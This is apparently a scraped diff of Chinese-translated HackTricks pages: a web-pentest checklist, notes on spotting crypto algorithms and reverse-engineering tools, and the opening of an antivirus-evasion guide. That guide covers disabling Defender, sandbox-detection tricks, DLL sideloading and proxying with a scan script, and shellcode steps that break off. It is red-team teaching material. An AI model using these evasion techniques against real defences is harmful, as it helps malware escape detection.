- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)
|
||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
|
||||
- [ ] [**Open Redirect**](../open-redirect.md)
|
||||
- [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/index.html)
|
||||
- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/index.html)
|
||||
- [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
|
||||
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
|
||||
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
|
||||
- [ ] [**XS-Search**](../xs-search.md)
|
||||
|
||||
一些提到的漏洞需要特殊条件,其他的只需要内容被反映。您可以找到一些有趣的多语言工具来快速测试漏洞:
|
||||
|
||||
{{#ref}}
|
||||
../pocs-and-polygloths-cheatsheet/
|
||||
{{#endref}}
|
||||
|
||||
### **Search functionalities**
|
||||
|
||||
如果该功能可用于在后端搜索某种数据,您可能可以(滥)用它来搜索任意数据。
|
||||
|
||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
|
||||
- [ ] [**NoSQL Injection**](../nosql-injection.md)
|
||||
- [ ] [**LDAP Injection**](../ldap-injection.md)
|
||||
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
|
||||
- [ ] [**SQL Injection**](../sql-injection/index.html)
|
||||
- [ ] [**XPATH Injection**](../xpath-injection.md)
|
||||
|
||||
### **Forms, WebSockets and PostMsgs**
|
||||
|
||||
当 WebSocket 发布消息或表单允许用户执行操作时,可能会出现漏洞。
|
||||
|
||||
- [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
|
||||
- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md)
|
||||
- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/index.html)
|
||||
|
||||
### **HTTP Headers**
|
||||
|
||||
根据 Web 服务器提供的 HTTP 头,某些漏洞可能存在。
|
||||
|
||||
- [ ] [**Clickjacking**](../clickjacking.md)
|
||||
- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/index.html)
|
||||
- [ ] [**Cookies Hacking**](../hacking-with-cookies/index.html)
|
||||
- [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md)
|
||||
|
||||
### **Bypasses**
|
||||
|
||||
有几个特定功能可能需要一些变通方法来绕过它们。
|
||||
|
||||
- [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
|
||||
- [ ] [**Bypass Payment Process**](../bypass-payment-process.md)
|
||||
- [ ] [**Captcha Bypass**](../captcha-bypass.md)
|
||||
- [ ] [**Login Bypass**](../login-bypass/index.html)
|
||||
- [ ] [**Race Condition**](../race-condition.md)
|
||||
- [ ] [**Rate Limit Bypass**](../rate-limit-bypass.md)
|
||||
- [ ] [**Reset Forgotten Password Bypass**](../reset-password.md)
|
||||
- [ ] [**Registration Vulnerabilities**](../registration-vulnerabilities.md)
|
||||
|
||||
### **Structured objects / Specific functionalities**
|
||||
|
||||
某些功能将要求 **数据以非常特定的格式进行结构化**(如语言序列化对象或 XML)。因此,更容易识别应用程序是否可能存在漏洞,因为它需要处理这种类型的数据。\
|
||||
某些 **特定功能** 也可能存在漏洞,如果使用 **特定格式的输入**(如电子邮件头注入)。
|
||||
|
||||
- [ ] [**Deserialization**](../deserialization/index.html)
|
||||
- [ ] [**Email Header Injection**](../email-injections.md)
|
||||
- [ ] [**JWT Vulnerabilities**](../hacking-jwt-json-web-tokens.md)
|
||||
- [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md)
|
||||
|
||||
### Files
|
||||
|
||||
允许上传文件的功能可能会面临多种问题。\
|
||||
生成包含用户输入的文件的功能可能会执行意外代码。\
|
||||
打开用户上传的文件或自动生成的包含用户输入的文件的用户可能会受到威胁。
|
||||
|
||||
- [ ] [**File Upload**](../file-upload/index.html)
|
||||
- [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
|
||||
- [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md)
|
||||
- [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
|
||||
### **External Identity Management**
|
||||
|
||||
- [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md)
|
||||
- [ ] [**SAML Attacks**](../saml-attacks/index.html)
|
||||
|
||||
### **Other Helpful Vulnerabilities**
|
||||
|
||||
这些漏洞可能有助于利用其他漏洞。
|
||||
|
||||
- [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md)
|
||||
- [ ] [**IDOR**](../idor.md)
|
||||
- [ ] [**Parameter Pollution**](../parameter-pollution.md)
|
||||
- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/index.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -1,183 +0,0 @@
|
||||
# 加密/压缩算法
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 识别算法
|
||||
|
||||
如果你在代码中**使用了右移和左移、异或以及多个算术操作**,那么它很可能是**加密算法**的实现。这里将展示一些**识别所使用算法的方法,而无需逐步反向工程**。
|
||||
|
||||
### API 函数
|
||||
|
||||
**CryptDeriveKey**
|
||||
|
||||
如果使用了这个函数,你可以通过检查第二个参数的值来找到**使用的算法**:
|
||||
|
||||
 (1) (1) (1) (1).png>)
|
||||
|
||||
在这里查看可能的算法及其分配值的表格:[https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
**RtlCompressBuffer/RtlDecompressBuffer**
|
||||
|
||||
压缩和解压缩给定的数据缓冲区。
|
||||
|
||||
**CryptAcquireContext**
|
||||
|
||||
来自[文档](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta):**CryptAcquireContext**函数用于获取特定加密服务提供者(CSP)内特定密钥容器的句柄。**返回的句柄用于调用使用所选CSP的CryptoAPI**函数。
|
||||
|
||||
**CryptCreateHash**
|
||||
|
||||
初始化数据流的哈希。如果使用了这个函数,你可以通过检查第二个参数的值来找到**使用的算法**:
|
||||
|
||||
.png>)
|
||||
|
||||
\
|
||||
在这里查看可能的算法及其分配值的表格:[https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
### 代码常量
|
||||
|
||||
有时,识别算法非常简单,因为它需要使用一个特殊且唯一的值。
|
||||
|
||||
.png>)
|
||||
|
||||
如果你在谷歌中搜索第一个常量,这就是你得到的结果:
|
||||
|
||||
.png>)
|
||||
|
||||
因此,你可以假设反编译的函数是**sha256计算器**。\
|
||||
你可以搜索其他常量,可能会得到相同的结果。
|
||||
|
||||
### 数据信息
|
||||
|
||||
如果代码没有任何显著的常量,它可能在**加载来自.data部分的信息**。\
|
||||
你可以访问该数据,**分组第一个dword**并在谷歌中搜索,就像我们在前面的部分所做的那样:
|
||||
|
||||
.png>)
|
||||
|
||||
在这种情况下,如果你搜索**0xA56363C6**,你会发现它与**AES算法的表**相关。
|
||||
|
||||
## RC4 **(对称加密)**
|
||||
|
||||
### 特点
|
||||
|
||||
它由三个主要部分组成:
|
||||
|
||||
- **初始化阶段/**:创建一个**从0x00到0xFF的值表**(总共256字节,0x100)。这个表通常称为**替代盒**(或SBox)。
|
||||
- **打乱阶段**:将**循环遍历之前创建的表**(0x100次迭代的循环),用**半随机**字节修改每个值。为了创建这些半随机字节,使用RC4**密钥**。RC4**密钥**的长度可以**在1到256字节之间**,但通常建议长度超过5字节。通常,RC4密钥为16字节。
|
||||
- **异或阶段**:最后,明文或密文与**之前创建的值进行异或**。加密和解密的函数是相同的。为此,将对创建的256字节进行循环,执行必要的次数。这通常在反编译代码中通过**%256(模256)**来识别。
|
||||
|
||||
> [!TIP]
|
||||
> **为了在反汇编/反编译代码中识别RC4,你可以检查两个大小为0x100的循环(使用密钥),然后将输入数据与之前在两个循环中创建的256个值进行异或,可能使用%256(模256)**
|
||||
|
||||
### **初始化阶段/替代盒:**(注意用作计数器的数字256,以及在256个字符的每个位置写入0的方式)
|
||||
|
||||
.png>)
|
||||
|
||||
### **打乱阶段:**
|
||||
|
||||
.png>)
|
||||
|
||||
### **异或阶段:**
|
||||
|
||||
.png>)
|
||||
|
||||
## **AES (对称加密)**
|
||||
|
||||
### **特点**
|
||||
|
||||
- 使用**替代盒和查找表**
|
||||
- 由于使用特定查找表值(常量),可以**区分AES**。_注意**常量**可以**存储**在二进制中**或动态**_**创建**。_
|
||||
- **加密密钥**必须**可被16整除**(通常为32B),并且通常使用16B的**IV**。
|
||||
|
||||
### SBox 常量
|
||||
|
||||
.png>)
|
||||
|
||||
## Serpent **(对称加密)**
|
||||
|
||||
### 特点
|
||||
|
||||
- 很少发现某些恶意软件使用它,但有例子(Ursnif)
|
||||
- 根据其长度(极长的函数)简单判断算法是否为Serpent
|
||||
|
||||
### 识别
|
||||
|
||||
在下图中注意常量**0x9E3779B9**的使用(注意这个常量也被其他加密算法如**TEA** - Tiny Encryption Algorithm使用)。\
|
||||
还要注意**循环的大小**(**132**)和**反汇编**指令中的**异或操作**数量以及**代码**示例:
|
||||
|
||||
.png>)
|
||||
|
||||
如前所述,这段代码可以在任何反编译器中可视化为**非常长的函数**,因为其中**没有跳转**。反编译的代码可能看起来如下:
|
||||
|
||||
.png>)
|
||||
|
||||
因此,可以通过检查**魔法数字**和**初始异或**来识别该算法,看到**非常长的函数**并**比较**一些**指令**与**实现**(如左移7和左旋转22)。
|
||||
|
||||
## RSA **(非对称加密)**
|
||||
|
||||
### 特点
|
||||
|
||||
- 比对称算法更复杂
|
||||
- 没有常量!(自定义实现难以确定)
|
||||
- KANAL(一个加密分析器)未能显示RSA的提示,因为它依赖于常量。
|
||||
|
||||
### 通过比较识别
|
||||
|
||||
.png>)
|
||||
|
||||
- 在第11行(左)有一个`+7) >> 3`,与第35行(右)相同:`+7) / 8`
|
||||
- 第12行(左)检查`modulus_len < 0x040`,而第36行(右)检查`inputLen+11 > modulusLen`
|
||||
|
||||
## MD5 & SHA(哈希)
|
||||
|
||||
### 特点
|
||||
|
||||
- 3个函数:Init、Update、Final
|
||||
- 初始化函数相似
|
||||
|
||||
### 识别
|
||||
|
||||
**Init**
|
||||
|
||||
你可以通过检查常量来识别它们。注意sha_init有一个MD5没有的常量:
|
||||
|
||||
.png>)
|
||||
|
||||
**MD5 Transform**
|
||||
|
||||
注意使用了更多常量
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
## CRC(哈希)
|
||||
|
||||
- 更小且更高效,因为它的功能是查找数据中的意外更改
|
||||
- 使用查找表(因此你可以识别常量)
|
||||
|
||||
### 识别
|
||||
|
||||
检查**查找表常量**:
|
||||
|
||||
.png>)
|
||||
|
||||
一个CRC哈希算法看起来像:
|
||||
|
||||
.png>)
|
||||
|
||||
## APLib(压缩)
|
||||
|
||||
### 特点
|
||||
|
||||
- 不可识别的常量
|
||||
- 你可以尝试用python编写算法并在线搜索类似的东西
|
||||
|
||||
### 识别
|
||||
|
||||
图形相当大:
|
||||
|
||||
 (2) (1).png>)
|
||||
|
||||
检查**3个比较以识别它**:
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -1,114 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Wasm 反编译和 Wat 编译指南
|
||||
|
||||
在 **WebAssembly** 领域,反编译和编译工具对开发者至关重要。本指南介绍了一些处理 **Wasm (WebAssembly 二进制)** 和 **Wat (WebAssembly 文本)** 文件的在线资源和软件。
|
||||
|
||||
## 在线工具
|
||||
|
||||
- 要将 Wasm 反编译为 Wat,可以使用 [Wabt's wasm2wat demo](https://webassembly.github.io/wabt/demo/wasm2wat/index.html)。
|
||||
- 要将 Wat 编译回 Wasm,可以使用 [Wabt's wat2wasm demo](https://webassembly.github.io/wabt/demo/wat2wasm/)。
|
||||
- 另一个反编译选项可以在 [web-wasmdec](https://wwwg.github.io/web-wasmdec/) 找到。
|
||||
|
||||
## 软件解决方案
|
||||
|
||||
- 对于更强大的解决方案,[JEB by PNF Software](https://www.pnfsoftware.com/jeb/demo) 提供了广泛的功能。
|
||||
- 开源项目 [wasmdec](https://github.com/wwwg/wasmdec) 也可用于反编译任务。
|
||||
|
||||
# .Net 反编译资源
|
||||
|
||||
反编译 .Net 程序集可以使用以下工具:
|
||||
|
||||
- [ILSpy](https://github.com/icsharpcode/ILSpy),它还提供了 [Visual Studio Code 插件](https://github.com/icsharpcode/ilspy-vscode),允许跨平台使用。
|
||||
- 对于涉及 **反编译**、**修改** 和 **重新编译** 的任务,强烈推荐 [dnSpy](https://github.com/0xd4d/dnSpy/releases)。**右键单击** 方法并选择 **修改方法** 可以进行代码更改。
|
||||
- [JetBrains' dotPeek](https://www.jetbrains.com/es-es/decompiler/) 是另一个反编译 .Net 程序集的替代方案。
|
||||
|
||||
## 使用 DNSpy 增强调试和日志记录
|
||||
|
||||
### DNSpy 日志记录
|
||||
|
||||
要使用 DNSpy 将信息记录到文件中,可以加入以下 .Net 代码片段:
|
||||
|
||||
%%%cpp
|
||||
using System.IO;
|
||||
path = "C:\\inetpub\\temp\\MyTest2.txt";
|
||||
File.AppendAllText(path, "Password: " + password + "\n");
|
||||
%%%
|
||||
|
||||
### DNSpy 调试
|
||||
|
||||
为了有效地使用 DNSpy 进行调试,建议按照一系列步骤调整 **程序集属性** 以进行调试,确保禁用可能妨碍调试的优化。此过程包括更改 `DebuggableAttribute` 设置、重新编译程序集并保存更改。
|
||||
|
||||
此外,要调试由 **IIS** 运行的 .Net 应用程序,执行 `iisreset /noforce` 以重启 IIS。要将 DNSpy 附加到 IIS 进程进行调试,指南指示在 DNSpy 中选择 **w3wp.exe** 进程并开始调试会话。
|
||||
|
||||
为了在调试期间全面查看加载的模块,建议访问 DNSpy 中的 **模块** 窗口,然后打开所有模块并对程序集进行排序,以便于导航和调试。
|
||||
|
||||
本指南概括了 WebAssembly 和 .Net 反编译的本质,为开发者提供了轻松处理这些任务的途径。
|
||||
|
||||
## **Java 反编译器**
|
||||
|
||||
要反编译 Java 字节码,这些工具非常有用:
|
||||
|
||||
- [jadx](https://github.com/skylot/jadx)
|
||||
- [JD-GUI](https://github.com/java-decompiler/jd-gui/releases)
|
||||
|
||||
## **调试 DLL**
|
||||
|
||||
### 使用 IDA
|
||||
|
||||
- **Rundll32** 从特定路径加载 64 位和 32 位版本。
|
||||
- **Windbg** 被选为调试器,并启用了在库加载/卸载时暂停的选项。
|
||||
- 执行参数包括 DLL 路径和函数名称。此设置在每个 DLL 加载时暂停执行。
|
||||
|
||||
### 使用 x64dbg/x32dbg
|
||||
|
||||
- 类似于 IDA,**rundll32** 通过命令行修改加载 DLL 和函数。
|
||||
- 设置调整为在 DLL 入口处中断,允许在所需的 DLL 入口点设置断点。
|
||||
|
||||
### 图像
|
||||
|
||||
- 执行停止点和配置通过截图进行说明。
|
||||
|
||||
## **ARM & MIPS**
|
||||
|
||||
- 对于仿真,[arm_now](https://github.com/nongiach/arm_now) 是一个有用的资源。
|
||||
|
||||
## **Shellcodes**
|
||||
|
||||
### 调试技术
|
||||
|
||||
- **Blobrunner** 和 **jmp2it** 是用于在内存中分配 shellcodes 并使用 Ida 或 x64dbg 调试它们的工具。
|
||||
- Blobrunner [发布](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)
|
||||
- jmp2it [编译版本](https://github.com/adamkramer/jmp2it/releases/)
|
||||
- **Cutter** 提供基于 GUI 的 shellcode 仿真和检查,突出显示作为文件与直接 shellcode 处理的差异。
|
||||
|
||||
### 去混淆和分析
|
||||
|
||||
- **scdbg** 提供对 shellcode 函数和去混淆能力的洞察。
|
||||
%%%bash
|
||||
scdbg.exe -f shellcode # 基本信息
|
||||
scdbg.exe -f shellcode -r # 分析报告
|
||||
scdbg.exe -f shellcode -i -r # 交互式钩子
|
||||
scdbg.exe -f shellcode -d # 转储解码的 shellcode
|
||||
scdbg.exe -f shellcode /findsc # 查找起始偏移
|
||||
scdbg.exe -f shellcode /foff 0x0000004D # 从偏移执行
|
||||
%%%
|
||||
|
||||
- **CyberChef** 用于反汇编 shellcode: [CyberChef recipe](https://gchq.github.io/CyberChef/#recipe=To_Hex%28'Space',0%29Disassemble_x86%28'32','Full%20x86%20architecture',16,0,true,true%29)
|
||||
|
||||
## **Movfuscator**
|
||||
|
||||
- 一种将所有指令替换为 `mov` 的混淆器。
|
||||
- 有用的资源包括 [YouTube 解释](https://www.youtube.com/watch?v=2VF_wPkiBJY) 和 [PDF 幻灯片](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf)。
|
||||
- **demovfuscator** 可能会逆转 movfuscator 的混淆,需要依赖项如 `libcapstone-dev` 和 `libz3-dev`,并安装 [keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md)。
|
||||
|
||||
## **Delphi**
|
||||
|
||||
- 对于 Delphi 二进制文件,推荐使用 [IDR](https://github.com/crypto2011/IDR)。
|
||||
|
||||
# 课程
|
||||
|
||||
- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering)
|
||||
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) \(二进制去混淆\)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -2,144 +2,142 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
**本页作者** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
|
||||
**本页作者:** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
|
||||
|
||||
## 停用 Defender
|
||||
## Stop Defender
|
||||
|
||||
- [defendnot](https://github.com/es3n1n/defendnot): 一个用于阻止 Windows Defender 正常工作的工具。
|
||||
- [no-defender](https://github.com/es3n1n/no-defender): 一个通过伪装成另一个 AV 来使 Windows Defender 停止工作的工具。
|
||||
- [defendnot](https://github.com/es3n1n/defendnot):一个用于停止 Windows Defender 正常工作的工具。
|
||||
- [no-defender](https://github.com/es3n1n/no-defender):通过伪装成另一个 AV 来停止 Windows Defender 工作的工具。
|
||||
- [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md)
|
||||
|
||||
## **AV Evasion Methodology**
|
||||
|
||||
Currently, AVs use different methods for checking if a file is malicious or not, static detection, dynamic analysis, and for the more advanced EDRs, behavioural analysis.
|
||||
目前,AVs 会使用不同的方法来判断文件是否恶意:static detection、dynamic analysis,以及对于更高级的 EDRs,还会有 behavioural analysis。
|
||||
|
||||
### **Static detection**
|
||||
|
||||
Static detection is achieved by flagging known malicious strings or arrays of bytes in a binary or script, and also extracting information from the file itself (e.g. file description, company name, digital signatures, icon, checksum, etc.). This means that using known public tools may get you caught more easily, as they've probably been analyzed and flagged as malicious. There are a couple of ways of getting around this sort of detection:
|
||||
Static detection 是通过在二进制或脚本中标记已知的恶意字符串或字节数组来实现的,同时也会从文件本身提取信息(例如 file description、company name、digital signatures、icon、checksum 等)。这意味着使用已知的公共工具可能更容易被发现,因为这些工具很可能已经被分析并标记为恶意。针对这类检测有几种常见的规避方法:
|
||||
|
||||
- **Encryption**
|
||||
|
||||
If you encrypt the binary, there will be no way for AV of detecting your program, but you will need some sort of loader to decrypt and run the program in memory.
|
||||
如果你对二进制文件进行加密,AV 就无法检测到你的程序,但你需要某种 loader 来在内存中解密并运行该程序。
|
||||
|
||||
- **Obfuscation**
|
||||
|
||||
Sometimes all you need to do is change some strings in your binary or script to get it past AV, but this can be a time-consuming task depending on what you're trying to obfuscate.
|
||||
有时只需更改二进制或脚本中的一些字符串即可绕过 AV,但这可能是一项耗时的工作,具体取决于你要混淆的内容。
|
||||
|
||||
- **Custom tooling**
|
||||
|
||||
If you develop your own tools, there will be no known bad signatures, but this takes a lot of time and effort.
|
||||
如果你自己开发工具,就不会有已知的恶意签名,但这需要大量时间和精力。
|
||||
|
||||
> [!TIP]
|
||||
> 一个用于检查 Windows Defender 静态检测的好方法是 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)。它基本上将文件拆分成多个片段,然后让 Defender 单独扫描每个片段,这样它可以准确地告诉你二进制文件中被标记的字符串或字节是什么。
|
||||
> 检查 Windows Defender static detection 的一个好方法是 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)。它基本上将文件分割成多个片段,然后让 Defender 单独扫描每个片段,这样可以准确告诉你二进制中被标记的字符串或字节。
|
||||
|
||||
我强烈推荐你观看这个关于实用 AV Evasion 的 [YouTube 播放列表](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)。
|
||||
强烈建议查看这个关于实用 AV Evasion 的 [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)。
|
||||
|
||||
### **Dynamic analysis**
|
||||
|
||||
Dynamic analysis is when the AV runs your binary in a sandbox and watches for malicious activity (e.g. trying to decrypt and read your browser's passwords, performing a minidump on LSASS, etc.). This part can be a bit trickier to work with, but here are some things you can do to evade sandboxes.
|
||||
Dynamic analysis 是指 AV 在沙箱中运行你的二进制并监视恶意活动(例如尝试解密并读取浏览器密码、对 LSASS 执行 minidump 等)。这部分可能更难对付,但可以通过以下方式来规避沙箱。
|
||||
|
||||
- **Sleep before execution** Depending on how it's implemented, it can be a great way of bypassing AV's dynamic analysis. AV's have a very short time to scan files to not interrupt the user's workflow, so using long sleeps can disturb the analysis of binaries. The problem is that many AV's sandboxes can just skip the sleep depending on how it's implemented.
|
||||
- **Checking machine's resources** Usually Sandboxes have very little resources to work with (e.g. < 2GB RAM), otherwise they could slow down the user's machine. You can also get very creative here, for example by checking the CPU's temperature or even the fan speeds, not everything will be implemented in the sandbox.
|
||||
- **Machine-specific checks** If you want to target a user who's workstation is joined to the "contoso.local" domain, you can do a check on the computer's domain to see if it matches the one you've specified, if it doesn't, you can make your program exit.
|
||||
- **Sleep before execution** 根据实现方式不同,这可能是绕过 AV dynamic analysis 的好方法。AV 的扫描时间通常很短以免打断用户工作流,所以使用较长的 sleep 可以干扰二进制的分析。但问题是许多 AV 的沙箱可以根据实现方式跳过 sleep。
|
||||
- **Checking machine's resources** 通常沙箱可用的资源很少(例如 < 2GB RAM),否则会影响用户机器的性能。你也可以在这方面发挥创意,例如检查 CPU 温度或风扇转速,沙箱并非会实现所有检测项。
|
||||
- **Machine-specific checks** 如果你想针对某位加入到 "contoso.local" 域的用户,你可以检查计算机的域是否匹配指定值,如果不匹配就让程序退出。
|
||||
|
||||
It turns out that Microsoft Defender's Sandbox computername is HAL9TH, so, you can check for the computer name in your malware before detonation, if the name matches HAL9TH, it means you're inside defender's sandbox, so you can make your program exit.
|
||||
事实证明,Microsoft Defender 的 Sandbox computername 是 HAL9TH,所以你可以在恶意程序触发前检查计算机名,如果名字匹配 HAL9TH,说明你在 defender 的沙箱内,这时可以让程序退出。
|
||||
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>来源: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
Some other really good tips from [@mgeeky](https://twitter.com/mariuszbit) for going against Sandboxes
|
||||
以下是来自 [@mgeeky](https://twitter.com/mariuszbit) 的一些对抗 Sandboxes 的优秀建议
|
||||
|
||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
|
||||
|
||||
As we've said before in this post, **public tools** will eventually **get detected**, so, you should ask yourself something:
|
||||
正如我们在本文前面所述,**public tools** 最终会被 **detected**,所以你应该自问:
|
||||
|
||||
For example, if you want to dump LSASS, **do you really need to use mimikatz**? Or could you use a different project which is lesser known and also dumps LSASS.
|
||||
例如,如果你想 dump LSASS,**真的必须使用 mimikatz 吗**?还是可以使用一个不那么知名但同样可以 dump LSASS 的项目?
|
||||
|
||||
The right answer is probably the latter. Taking mimikatz as an example, it's probably one of, if not the most flagged piece of malware by AVs and EDRs, while the project itself is super cool, it's also a nightmare to work with it to get around AVs, so just look for alternatives for what you're trying to achieve.
|
||||
更合适的答案很可能是后者。以 mimikatz 为例,它可能是被 AVs 和 EDRs 标记最多的工具之一,虽然项目本身很酷,但在规避 AV 时使用它会非常头疼,所以为你要实现的目标寻找替代方案会更好。
|
||||
|
||||
> [!TIP]
|
||||
> When modifying your payloads for evasion, make sure to **turn off automatic sample submission** in defender, and please, seriously, **DO NOT UPLOAD TO VIRUSTOTAL** if your goal is achieving evasion in the long run. If you want to check if your payload gets detected by a particular AV, install it on a VM, try to turn off the automatic sample submission, and test it there until you're satisfied with the result.
|
||||
> 在为 evasion 修改 payloads 时,确保在 Defender 中**关闭自动样本提交**,并且请注意,**DO NOT UPLOAD TO VIRUSTOTAL**,如果你的目标是长期实现 evasion。如果你想检查某个 AV 是否会检测你的 payload,建议在 VM 上安装该 AV,尝试关闭自动样本提交,并在该环境中测试直到满意为止。
|
||||
|
||||
## EXEs vs DLLs
|
||||
|
||||
Whenever it's possible, always **prioritize using DLLs for evasion**, in my experience, DLL files are usually **way less detected** and analyzed, so it's a very simple trick to use in order to avoid detection in some cases (if your payload has some way of running as a DLL of course).
|
||||
只要可能,始终**优先使用 DLL 来进行 evasion**,根据我的经验,DLL 文件通常**被检测和分析的概率远低于 EXE**,所以这是在某些情况下避免检测的一个非常简单的技巧(前提是你的 payload 有办法以 DLL 形式运行)。
|
||||
|
||||
As we can see in this image, a DLL Payload from Havoc has a detection rate of 4/26 in antiscan.me, while the EXE payload has a 7/26 detection rate.
|
||||
如图所示,来自 Havoc 的一个 DLL Payload 在 antiscan.me 的检测率为 4/26,而 EXE payload 的检测率为 7/26。
|
||||
|
||||
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL</p></figcaption></figure>
|
||||
|
||||
Now we'll show some tricks you can use with DLL files to be much more stealthier.
|
||||
下面我们将展示一些可用于让 DLL 文件更隐蔽的技巧。
|
||||
|
||||
## DLL Sideloading & Proxying
|
||||
|
||||
**DLL Sideloading** takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other.
|
||||
**DLL Sideloading** 利用 loader 使用的 DLL 搜索顺序,通过将易受害的应用程序与恶意 payload 放在相同目录下,从而进行劫持。
|
||||
|
||||
You can check for programs susceptible to DLL Sideloading using [Siofra](https://github.com/Cybereason/siofra) and the following powershell script:
|
||||
你可以使用 [Siofra](https://github.com/Cybereason/siofra) 和以下 powershell 脚本来检查哪些程序易受 DLL Sideloading 影响:
|
||||
```bash
|
||||
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
|
||||
$binarytoCheck = "C:\Program Files\" + $_
|
||||
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
|
||||
}
|
||||
```
|
||||
该命令会列出位于 "C:\Program Files\\" 中易受 DLL hijacking 影响的程序以及它们尝试加载的 DLL 文件。
|
||||
此命令将输出位于 "C:\Program Files\\" 中易受 DLL hijacking 的程序列表,以及它们尝试加载的 DLL 文件。
|
||||
|
||||
我强烈建议你 **explore DLL Hijackable/Sideloadable programs yourself**,如果正确实施,这项技术相当隐蔽,但如果你使用公开已知的 DLL Sideloadable 程序,可能很容易被发现。
|
||||
我强烈建议你 **explore DLL Hijackable/Sideloadable programs yourself**,如果正确实施,该技术相当隐蔽,但如果你使用公开已知的 DLL Sideloadable programs,可能很容易被发现。
|
||||
|
||||
仅仅放置一个具有程序期望加载名称的恶意 DLL 并不会直接运行你的 payload,因为程序期望该 DLL 中包含一些特定的函数。为了解决这个问题,我们将使用另一种技术,称为 **DLL Proxying/Forwarding**。
|
||||
仅仅通过放置一个与程序期望加载的名称相同的恶意 DLL 并不能保证会加载你的 payload,因为程序会期望该 DLL 中包含某些特定的函数。为了解决这个问题,我们将使用另一种技术,称为 **DLL Proxying/Forwarding**。
|
||||
|
||||
**DLL Proxying** 会将程序从代理(恶意)DLL 发出的调用转发到原始 DLL,从而保留程序的功能并能够处理你的 payload 的执行。
|
||||
**DLL Proxying** 将程序从代理(和恶意)DLL 发出的调用转发到原始 DLL,从而保留程序的功能并能够处理你的 payload 的执行。
|
||||
|
||||
我将使用来自 [@flangvik](https://twitter.com/Flangvik/) 的 [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) 项目
|
||||
我将使用来自 [@flangvik](https://twitter.com/Flangvik/) 的 [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) 项目。
|
||||
|
||||
这些是我遵循的步骤:
|
||||
我遵循的步骤如下:
|
||||
```
|
||||
1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
|
||||
2. Generate some shellcode (I used Havoc C2)
|
||||
